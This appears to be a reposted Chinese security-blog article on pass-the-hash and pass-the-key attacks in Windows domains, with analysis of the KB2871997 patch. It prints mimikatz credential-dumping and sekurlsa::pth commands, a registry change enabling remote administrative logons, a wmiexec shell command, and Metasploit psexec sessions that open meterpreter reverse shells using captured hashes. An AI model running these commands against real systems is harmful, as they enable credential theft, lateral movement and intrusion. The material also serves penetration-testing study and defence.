搜索

[26745] 2021-07-10_哈希传递攻击分析和防御

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2021-07-10_哈希传递攻击分析和防御 哈 希 传 递 攻 击 分 析 和 防 御 原 创   k e p l e r   m o o n s e c   2 0 2 1 - 0 7 - 1 0 收 录 于 话 题   # 渗 透 测 试   , 1 8 个 哈 希 传 递 攻 击 分 析 和 防 御 哈 希 传 递 攻 击 分 析 和 防 御 1 一 一 . 哈 希 传 递 攻 击 分 析 哈 希 传 递 攻 击 分 析 大 多 数 渗 透 测 试 人 员 都 听 过 h a s h 传 递 （ P a s s T h e     H a s h ） 攻 击 ， 该 方 法 通 过 找 到 域 账 号 相 关 的 密 码 散 列 值 ， 通 常 是 （ N T L M h a s h ） 来 进 行 攻 击 ， 在 域 环 境 下 ， 用 户 登 录 计 算 机 时 ， 使 用 的 大 都 是 域 账 号 ， 大 量 计 算 机 在 安 装 时 会 使 用 相 同 的 本 地 管 理 员 账 号 和 密 码 ， 因 此 ， 计 算 机 的 本 地 管 理 员 和 账 号 密 码 也 是 相 同 的 ， 攻 击 者 就 能 使 用 哈 希 传 递 攻 击 的 方 法 登 录 内 网 的 其 他 计 算 机 ， 同 时 ， 攻 击 者 不 需 要 花 时 间 破 解 密 码 散 列 值 ， （ 进 而 获 得 密 码 明 文 ） 在 W i n d o w s 网 络 中 ， 散 列 值 就 是 用 来 证 明 身 份 的 （ 有 正 确 的 用 户 名 和 密 码 散 列 值 ， 就 能 通 过 验 证 ） ， 而 微 软 自 己 的 产 品 和 工 具 显 然 不 会 支 持 这 种 攻 击 ， 于 是 攻 击 者 往 往 会 通 过 第 三 方 攻 击 来 完 成 此 任 务 ， 在 W i n d o w s s e r v e r   2 0 1 2 R 2 及 以 后 的 版 本 ， 默 认 在 内 存 中 不 会 记 录 明 文 密 码 。 因 此 往 往 会 使 用 工 具 将 散 列 值 传 递 到 其 他 计 算 机 中 ， 进 行 权 限 验 证 ， 实 现 对 计 算 机 的 远 程 控 制 哈 希 传 递 ( P a s s T h e   H a s h ) 攻 击 ， 通 过 找 到 与 账 户 相 关 的 密 码 散 列 值 ( 通 常 为 N T L M H a s h )   攻 击 。 攻 击 者 不 需 要 花 费 时 间 破 解 密 码 散 列 值 来 获 取 明 文 密 码 。 在 W i n d o w s S e r v e r   2 0 1 2   R 2 及 之 后 版 本 的 操 作 系 统 中 ， 默 认 在 内 存 中 不 会 记 录 明 文 密 码 ， 因 此 ， 攻 击 者 往 往 会 使 用 工 具 将 散 列 值 传 递 到 其 他 计 算 机 中 ， 进 行 权 限 验 证 ， 实 现 对 远 程 计 算 机 的 限 制 。 哈 希 传 递 使 用 情 况 哈 希 传 递 使 用 情 况 前 提 ： 有 管 理 员 的 N T L M H a s h   ， 并 且 目 标 机 器 开 放 4 4 5 端 口 。 在 工 作 组 环 境 中 ： 在 工 作 组 环 境 中 ： W i n d o w s   V i s t a   之 前 的 机 器 ， 可 以 使 用 本 地 管 理 员 组 内 用 户 进 行 攻 击 。 W i n d o w s   V i s t a   之 后 的 机 器 ， 只 能 是 a d m i n i s t r a t o r ( S I D 为 5 0 0 ) 用 户 的 哈 希 值 才 能 进 行 哈 希 传 递 攻 击 ， 其 他 用 户 ( 包 括 管 理 员 用 户 但 是 非 a d m i n i s t r a t o r ) 也 不 能 使 用 哈 希 传 递 攻 击 ， 会 提 示 拒 绝 访 问 。 这 里 强 调 的 是 S I D 为 5 0 0 的 账 号 ， 在 一 些 计 算 机 中 ， 即 使 将 A d m i n i s t r a t o r 账 号 改 名 ， 也 不 会 影 响 S I D 的 值 。 再 补 充 一 下 ： 管 理 员 组 的 非 S I D 5 0 0 账 户 登 录 之 后 是 没 有 过 U A C 的 ， 所 有 特 权 都 被 移 除 。 而 S I D 5 0 0 账 户 登 录 之 后 也 以 完 全 管 理 特 权 （ ” 完 全 令 牌 模 式 ” ） 运 行 所 有 应 用 程 序 ， 实 际 是 不 用 过 U A C 的 。 在 域 环 境 中 ： 在 域 环 境 中 ： 只 能 是 域 管 理 员 组 内 用 户 ( 可 以 是 域 管 理 员 组 内 非 a d m i n i s t r a t o r 用 户 ) 的 哈 希 值 才 能 进 行 哈 希 传 递 攻 击 ， 攻 击 成 功 后 ， 可 以 访 问 域 内 任 何 一 台 机 器 。 （ （ 1 ） 使 用 ） 使 用 N T L M   h a s h 进 行 哈 希 传 递 进 行 哈 希 传 递 m i m i k a t z 进 行 哈 希 传 递 攻 击 进 行 哈 希 传 递 攻 击 P t H ( 工 作 组 工 作 组 )         W i n d o w s V i s t a   之 前 的 机 器 ， 可 以 使 用 本 地 管 理 员 组 内 用 户 进 行 攻 击 。 p r i v i l e g e : : d e b u g       # 先 提 权 # 使 用 a d m i n i s t r a t o r 用 户 的 N T L M 哈 希 值 进 行 攻 击 s e k u r l s a : : p t h / u s e r : 用 户 名   / d o m a i n : 目 标 机 器 I P   / n t l m : 密 码 哈 希   W i n d o w s V i s t a 之 后 的 机 器 ， 只 能 是 a d m i n i s t r a t o r 用 户 的 哈 希 值 才 能 进 行 哈 希 传 递 攻 击 ， 其 他 用 户 ( 包 括 管 理 员 用 户 但 是 非 a d m i n i s t r a t o r ) 也 不 能 使 用 哈 希 传 递 攻 击 ， 会 提 示 拒 绝 访 问 。 W i n d o w s V i s t a   之 前 的 机 器 ， 我 们 需 要 的 是 本 地 管 理 员 组 内 用 户 的 N T L M ， 而 W i n d o w s V i s t a   之 后 的 机 器 ， 我 们 需 要 的 是 S I D 为 5 0 0 的 账 号 的 N T L M 。 如 果 就 是 想 传 递 S I D 为 非 5 0 0 的 管 理 账 号 的 哈 希 ， 进 行 用 户 登 录 ， 可 以 修 改 L o c a l A c c o u n t T o k e n F i l t e r P o l i c y 的 值 为 1 r e g a d d   H K L M S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s s y s t e m   / v L o c a l A c c o u n t T o k e n F i l t e r P o l i c y   / t   R E G _ D W O R D   / d   1   / f 恢 复 L o c a l A c c o u n t T o k e n F i l t e r P o l i c y 值 为 0 ( 恢 复 之 后 ， 还 需 要 重 启 e x p l o r e r . e x e 才 能 生 效 ) ： r e g d e l e t e   H K L M S O F T W A R E M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n P o l i c i e s s y s t e m / v   L o c a l A c c o u n t T o k e n F i l t e r P o l i c y   / f 关 于 L o c a l A c c o u n t T o k e n F i l t e r P o l i c y 的 文 章 可 以 参 考 ： h t t p s : / / x i e 1 9 9 7 . b l o g . c s d n . n e t / a r t i c l e / d e t a i l s / 1 0 5 3 3 6 3 6 8 m i m i k a t z ( 域 环 境 域 环 境 ) 需 要 用 到 的 工 具 为 m i m i k a t z ， 运 行 权 限 为 管 理 员 权 限 。 重 点 在 于 ， 我 们 已 经 获 取 了 域 管 理 员 组 内 用 户 的 N T L M 哈 希 值 。 我 们 可 以 使 用 域 内 的 一 台 主 机 用 m i m i k a t z 对 域 内 任 何 一 台 机 器 ( 包 括 域 控 ) 进 行 哈 希 传 递 攻 击 。 执 行 完 命 令 后 ， 会 弹 出 C M D 窗 口 ， 在 弹 出 的 C M D 窗 口 我 们 可 以 访 问 域 内 任 何 一 台 机 器 。 前 提 是 我 们 必 须 拥 有 域 内 任 意 一 台 主 机 的 本 地 管 理 员 权 限 和 域 管 理 员 的 密 码 N T L M 哈 希 值 。 m i m i k a t z " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : p t h   / u s e r : a d m i n i s t r a t o r / d o m a i n : k e p l e r . c o m   / n t l m : x x x x "
发 现 当 前 p i d 6 7 2 4 为 携 带 传 递 的 票 据 ， 可 以 窃 取 当 前 进 程 权 限 验 证 n e t g r o u p   " d o m a i n   c o n t r o l l e r s "   / d o m a i n   查 看 域 控 c s c r i p t w m i e x e c . v b s   / s h e l l   W I N - R F V P B G C 3 H 2 B 2 （ （ 2 ） 使 用 ） 使 用 A E S - 2 5 6 秘 钥 进 程 哈 希 传 递 秘 钥 进 程 哈 希 传 递 使 用 使 用 A E S 进 行 进 行 K e y 传 递 攻 击 传 递 攻 击 ( P T K , P a s s T h e   K e y ) 前 提 ： 只 适 用 于 域 环 境 ， 并 且 目 标 主 机 需 要 安 装 K B 2 8 7 1 9 9 7 补 丁 域 控 未 打 K B 2 8 7 1 9 9 7   补 丁 前 ， 无 法 使 用 K e y 传 递 攻 击         使 用 使 用 m i m i k a t z 抓 取 抓 取 A E S - 2 5 6 密 钥 密 钥 m i m i k a t z " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : e k e y s " m i m i k a t z " p r i v i l e g e : : d e b u g "   " l o g "   " s e k u r l s a : : e k e y s " # a e s 2 5 6 # a e s 1 2 8 m i m i k a t z " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : p t h   / u s e r : a d m i n i s t r a t o r / d o m a i n : k e p l e r . c o m / a e s 2 5 6 : 0 7 e 7 5 3 8 4 4 c e 5 3 5 9 7 9 1 a 4 2 2 8 8 f 7 f b 2 a 2 2 b d 8 0 e 8 a f 6 3 7 e 9 6 4 1 e 5 d 0 2 2 d 8 8 0 7 d 2 d a b " m i m i k a t z " p r i v i l e g e : : d e b u g "   " s e k u r l s a : : p t h   / u s e r : a d m i n i s t r a t o r / d o m a i n : p e n t e s t . c o m   / a e s 1 2 8 : x x x x x x "
必 须 需 要 打 补 丁 才 可 以 注 意 ： 使 用   A E S - 2 5 6   进 行 哈 希 传 递 时 ， d i r 后 面 要 跟 主 机 名 ( 只 能 是 主 机 名 ) ， 否 则 会 报 错 K B 2 8 7 1 9 9 7 只 是 对 本 地 管 理 员 用 户 有 影 响 ， 不 影 响 域 管 理 员 。 M S F 进 行 哈 希 传 递 攻 击 进 行 哈 希 传 递 攻 击 P t H ( 工 作 组 工 作 组 ) 有 些 时 候 ， 当 我 们 获 取 到 了 某 台 主 机 的 a d m i n i s t r a t o r 用 户 的 密 码 哈 希 值 ， 并 且 该 主 机 的 4 4 5 端 口 打 开 着 。 我 们 则 可 以 利 用 e x p l o i t / w i n d o w s / s m b / p s e x e c 模 块 用 M S F 进 行 远 程 登 录 ( 哈 希 传 递 攻 击 ) 。 这 个 是 r h o s t 可 以 是 一 个 主 机 ， 也 可 以 设 置 一 个 网 段 。 这 里 目 标 主 机 的 W i n d o w s V i s t a 之 后 的 机 器 ， 所 以 只 能 使 用 a d m i n i s t r a t o r 用 户 进 行 攻 击 。 工 作 组 环 境 ， 必 须 是 a d m i n i s t r a t o r 用 户 利 用 e x p l o i t / w i n d o w s / s m b / p s e x e c 模 块 用 M S F 进 行 远 程 登 录 ( 哈 希 传 递 攻 击 ) m s f ( 域 环 境 域 环 境 ) 这 里 与 m i m i k a t z 的 区 别 ， 为 什 么 m i m i k a t z 写 域 名 ， 而 m s f 可 以 不 用 写 域 名 。 m i m i k a t z 传 递 完 之 后 ， 弹 出 新 的 c m d 窗 口 ， 可 在 该 c m d 窗 口 访 问 任 意 的 机 器 。 m s f 则 是 指 定 机 器 I P 进 行 访 问 ， 这 里 好 好 体 会 。 总 的 来 说 ， m s f 传 递 哈 希 ， 使 用 e x p l o i t / w i n d o w s / s m b / p s e x e c 模 块 ， 需 要 提 供 L M H a s h : N T L M   H a s h ； 而 使 用 m i m i k a t z ， 仅 需 要 提 供 N T L M H a s h 即 可 。 不 过 ， 我 们 也 可 以 使 用 模 块 e x p l o i t / w i n d o w s / s m b / p s e x e c _ p s h , 用 法 一 样 ， 不 过 这 个 仅 需 要 N T L M H a s h 。 更 新 更 新 K B 2 8 7 1 9 9 7 补 丁 产 生 的 影 响 补 丁 产 生 的 影 响 微 软 在 2 0 1 4 年 5 月 发 布 了 K B 2 8 7 1 9 9 7 和 K B 2 9 2 8 1 2 0 两 个 补 丁 。 K B 2 8 7 1 9 9 7 针 对 P T H 攻 击 ， 而 K B 2 9 2 8 1 2 0 针 对 G P P ( G r o u p P o l i c y   P r e f e r e n c e ) 。 K B 2 8 7 1 9 9 7 补 丁 将 使 本 地 帐 号 不 再 可 以 用 于 远 程 接 入 系 统 ， 不 管 是 N e t w o r k l o g o n   还 是 I n t e r a c t i v e l o g i n 。 其 后 果 就 是 ： 无 法 通 过 本 地 管 理 员 权 限 对 远 程 计 算 机 使 用 P s e x e c 、 W M I 、 s m b e x e c 、 I P C 等 ， 也 无 法 访 问 远 程 主 机 的 文 件 共 享 等 。 在 实 际 测 试 中 ， 更 新 K B 2 8 7 1 9 9 7 之 后 ， 发 现 无 法 使 用 常 规 的 哈 希 传 递 方 法 进 行 横 向 移 动 ， 但 a d m i n i s t r a t o r ( S I D = 5 0 0 ) 账 号 例 外 ， 使 用 该 账 号 的 散 列 值 依 然 可 以 进 行 哈 希 传 递 攻 击 。 这 里 需 要 强 调 的 是 S I D = 5 0 0 的 账 号 。 即 使 将 a d m i n i s t r a t o r 账 号 改 名 ， 也 不 会 影 响 S I D 的 值 。 所 以 ， 如 果 攻 击 者 使 用 S I D 为 5 0 0 的 账 号 进 行 哈 希 传 递 攻 击 ， 就 不 会 受 到 K B 2 8 7 1 9 9 7 的 影 响 。 实 验 W i n d o w s   S e r v e r   2 0 0 8 R 2 ： 1 9 2 . 1 6 8 . 1 0 . 2 0 域 管 理 员 ： a d m i n i s t r a t o r 、   k e p l e r u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   # 可 以 不 设 置 s e t   l h o s t   i p         # 可 以 不 设 置 s e t   r h o s t   i p s e t   s m b u s e r   a d m i n i s t r a t o r s e t   s m b p a s s   N T L M   H a s h e x p l o i t m s f >   u s e     e x p l o i t / w i n d o w s / s m b / p s e x e c m s f   e x p l o i t ( p s e x e c )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f   e x p l o i t ( p s e x e c )   >   s e t   l h o s t   1 9 2 . 1 6 8 . 1 0 . 2 7 m s f   e x p l o i t ( p s e x e c )   >   s e t   r h o s t   1 9 2 . 1 6 8 . 1 0 . 1 4 m s f   e x p l o i t ( p s e x e c )   >   s e t   s m b u s e r   A d m i n i s t r a t o r m s f   e x p l o i t ( p s e x e c )   >   s e t   s m b p a s s   8 1 5 A 3 D 9 1 F 9 2 3 4 4 1 F A A D 3 B 4 3 5 B 5 1 4 0 4 E E : A 8 6 D 2 7 7 D 2 B C D 8 C 8 1 8 4 B 0 1 A C 2 1 B 6 9 8 5 F 6     # 这 里 L M 和 N T L M 我 们 已 经 获 取 到 了 m s f e x p l o i t ( p s e x e c )   >   e x p l o i t   u s e   e x p l o i t / w i n d o w s / s m b / p s e x e c s e t   r h o s t   I P s e t   s m b d o m a i n   x x x x . o r g     # 该 参 数 不 是 必 须 的 s e t   s m b u s e r   a d m i n i s t r a t o r       # 域 管 理 员 组 内 的 用 户 s e t   s m b p a s s   N T L M   H a s h e x p l o i t m s f >   u s e     e x p l o i t / w i n d o w s / s m b / p s e x e c m s f   e x p l o i t ( p s e x e c )   >   s e t   p a y l o a d   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p m s f   e x p l o i t ( p s e x e c )   >   s e t   l h o s t   1 9 2 . 1 6 8 . 1 0 . 1 1 m s f   e x p l o i t ( p s e x e c )   >   s e t   r h o s t   1 9 2 . 1 6 8 . 1 0 . 1 3 1 m s f   e x p l o i t ( p s e x e c )   >   s e t   s m b u s e r   t e s t       # t e s t 用 户 在 域 管 理 员 组 内 ， 注 意 这 里 不 需 要 写 域 前 缀 m s f   e x p l o i t ( p s e x e c )   >   s e t   s m b p a s s   A A D A 8 E D A 2 3 2 1 3 C 0 2 0 B 0 C 4 7 8 3 9 2 B 5 4 6 9 F : 5 1 B 7 F 7 D C A 9 3 0 2 C 8 3 9 E 4 8 D 0 3 9 E E 3 7 F 0 D 1 m s f e x p l o i t ( p s e x e c )   >   e x p l o i t  
未 打 K B 2 8 7 1 9 9 7   补 丁 前 ， 使 用   a d m i n i s t r a t o r 账 号 可 以 成 功 进 行 哈 希 传 递 攻 击 ， 使 用 管 理 员 账 号 k e p l e r 无 法 进 行 哈 希 传 递 攻 击 。 打 上 K B 2 8 7 1 9 9 7   补 丁 后 ， 使 用   a d m i n i s t r a t o r 账 号 依 然 可 以 成 功 进 行 哈 希 传 递 攻 击 ， 使 用 管 理 员 账 号 k e p l e r 无 法 进 行 哈 希 传 递 攻 击 。 将 a d m i n i s t r a t o r 账 号 重 命 名 为 a d m i n 账 号 后 ， 由 于 不 存 在 a d m i n i s t r a t o r 账 号 了 ， 所 以 无 法 使 用 a d m i n i s t r a t o r 账 号 进 行 哈 希 传 递 攻 击 ， 但 是 可 以 使 用   a d m i n 账 号 紧 进 行 哈 希 传 递 攻 击 ， 因 为 a d m i n 账 号 的 S I D 值 为 5 0 0 。 3 关 注 公 众 号 关 注 公 众 号 本 公 众 号 更 新 安 全 类 文 章   欢 迎 前 来 关 注 扫 一 扫 关 注 公 众 号
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理